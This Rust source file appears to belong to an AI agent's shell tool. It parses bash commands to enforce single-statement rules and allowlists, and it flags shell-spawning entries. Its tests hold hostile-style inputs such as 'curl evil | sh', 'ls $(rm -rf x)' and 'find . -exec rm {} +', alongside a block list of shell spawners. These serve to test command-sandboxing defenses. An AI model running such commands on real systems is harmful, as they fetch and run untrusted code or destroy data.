1use tree_sitter::{Node, Parser};
2
3use crate::errors::{Result, WinxError};
4
5pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
14 let trimmed = command.trim();
15 if trimmed.is_empty() {
16 return Ok(());
17 }
18 if trimmed.contains('\0') {
19 return Err(WinxError::CommandExecutionError(
20 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
21 ));
22 }
23
24 let mut parser = Parser::new();
25 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
26 parser.set_language(&language).map_err(|error| {
27 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
28 })?;
29
30 let tree = parser.parse(trimmed, None).ok_or_else(|| {
31 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
32 })?;
33 let root = tree.root_node();
34
35 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
36 return Err(WinxError::CommandExecutionError(
37 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
38 ));
39 }
40
41 let statement_count = top_level_statement_count(trimmed, root);
42
43 if statement_count > 1 && !trimmed.contains('\n') {
44 return Err(WinxError::CommandExecutionError(
45 "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
46 ));
47 }
48
49 Ok(())
50}
51
52fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
58 allow_shell_probe && bash_accepts_syntax(command)
59}
60
61fn bash_accepts_syntax(command: &str) -> bool {
62 std::process::Command::new("bash")
63 .arg("-n")
64 .arg("-c")
65 .arg(command)
66 .status()
67 .is_ok_and(|status| status.success())
68}
69
70#[derive(Debug, Clone)]
71struct StatementNode {
72 kind: String,
73 start_byte: usize,
74 end_byte: usize,
75}
76
77fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
78 let mut statements = Vec::new();
79 collect_statement_nodes(root, &mut statements);
80
81 statements
82 .iter()
83 .filter(|stmt| stmt.kind != "comment")
84 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
85 .count()
86}
87
88fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
89 if is_statement_node(node.kind()) {
90 statements.push(StatementNode {
91 kind: node.kind().to_string(),
92 start_byte: node.start_byte(),
93 end_byte: node.end_byte(),
94 });
95 }
96
97 for index in 0..node.named_child_count() as u32 {
98 if let Some(child) = node.named_child(index) {
99 collect_statement_nodes(child, statements);
100 }
101 }
102}
103
104fn is_statement_node(kind: &str) -> bool {
105 matches!(
106 kind,
107 "command"
108 | "variable_assignment"
109 | "declaration_command"
110 | "unset_command"
111 | "comment"
112 | "for_statement"
113 | "c_style_for_statement"
114 | "while_statement"
115 | "if_statement"
116 | "case_statement"
117 | "function_definition"
118 | "pipeline"
119 | "list"
120 | "compound_statement"
121 | "subshell"
122 | "redirected_statement"
123 )
124}
125
126fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
127 if stmt.start_byte == other.start_byte
128 && stmt.end_byte == other.end_byte
129 && stmt.kind == other.kind
130 {
131 return false;
132 }
133
134 let other_text = &source[other.start_byte..other.end_byte];
135 if other.kind == "list" && other_text.contains(';') {
136 return false;
137 }
138
139 other.start_byte <= stmt.start_byte
140 && other.end_byte >= stmt.end_byte
141 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
142 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
143}
144
145pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
157 let trimmed = command.trim();
158 if trimmed.is_empty() {
159 return Ok(Vec::new());
160 }
161 if trimmed.contains('\0') {
162 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
163 }
164
165 let mut parser = Parser::new();
166 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
167 parser.set_language(&language).map_err(|error| {
168 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
169 })?;
170
171 let tree = parser.parse(trimmed, None).ok_or_else(|| {
172 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
173 })?;
174 let root = tree.root_node();
175 if root.has_error() {
176 return Err(WinxError::CommandExecutionError(
177 "Command could not be parsed for allowlist enforcement.".to_string(),
178 ));
179 }
180
181 let mut texts = Vec::new();
182 collect_command_texts(root, trimmed.as_bytes(), &mut texts);
183 Ok(texts)
184}
185
186fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
187 if node.kind() == "command" {
188 if let Ok(text) = node.utf8_text(src) {
189 out.push(text.to_string());
190 }
191 }
192 let mut cursor = node.walk();
193 for child in node.children(&mut cursor) {
194 collect_command_texts(child, src, out);
195 }
196}
197
198pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
206 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
207 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
208 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
209];
210
211pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
218 let mut hits: Vec<String> = allowed
219 .iter()
220 .filter_map(|entry| {
221 let first = entry.split_whitespace().next()?;
222 let base = std::path::Path::new(first).file_name()?.to_str()?;
223 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
224 })
225 .collect();
226 hits.sort();
227 hits.dedup();
228 hits
229}
230
231#[cfg(test)]
232mod tests {
233 use super::assert_single_statement;
234 use super::detect_allowlist_bypass;
235 use super::extract_command_texts;
236
237 #[test]
238 fn extracts_nested_commands_for_allowlist() {
239 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
241 assert!(names.iter().any(|c| c.starts_with("ls")));
242 assert!(names.iter().any(|c| c.starts_with("curl")));
243 assert!(names.iter().any(|c| c.starts_with("sh")));
244
245 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
246 assert!(subst.iter().any(|c| c.starts_with("rm")));
247 }
248
249 #[test]
250 fn accepts_shell_chains_as_single_statement() {
251 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
252 }
253
254 #[test]
255 fn accepts_heredocs_as_single_statement() {
256 let command = "cat <<'EOF'\nhello\nEOF";
257 assert!(assert_single_statement(command, true).is_ok());
258 }
259
260 #[test]
261 fn accepts_for_loop_as_single_compound_statement() {
262 assert!(
263 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
264 );
265 }
266
267 #[test]
268 fn rejects_semicolon_separated_top_level_statements() {
269 assert!(assert_single_statement("pwd; ls", true).is_err());
270 }
271
272 #[test]
273 fn accepts_multiline_scripts() {
274 assert!(assert_single_statement("pwd\nls", true).is_ok());
275 }
276
277 #[test]
278 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
279 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
280 assert!(assert_single_statement(command, true).is_ok());
281 }
282
283 #[test]
284 fn shell_probe_is_gated_to_trusted_mode() {
285 use super::rescued_by_shell_probe;
286 assert!(rescued_by_shell_probe("echo hi", true));
292 assert!(!rescued_by_shell_probe("echo hi", false));
295 assert!(!rescued_by_shell_probe("echo )(", true));
297 }
298
299 #[test]
300 fn detect_allowlist_bypass_flags_shell_spawners() {
301 let allowed = vec![
302 "ls".to_string(),
303 "bash".to_string(),
304 "cat -n".to_string(),
305 "find . -exec rm {} +".to_string(),
306 ];
307 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
308 }
309
310 #[test]
311 fn detect_allowlist_bypass_clean_list_is_empty() {
312 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
313 assert!(detect_allowlist_bypass(&allowed).is_empty());
314 }
315
316 #[test]
317 fn detect_allowlist_bypass_matches_basename_of_path() {
318 let allowed = vec!["/usr/bin/env python".to_string()];
319 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
320 }
321
322 #[test]
323 fn rejects_nul_with_actionable_message() {
324 let error = match assert_single_statement("printf '\0'", true) {
325 Ok(()) => String::new(),
326 Err(error) => error.to_string(),
327 };
328 assert!(error.contains("NUL byte"));
329 assert!(error.contains("\\\\x00"));
330 }
331}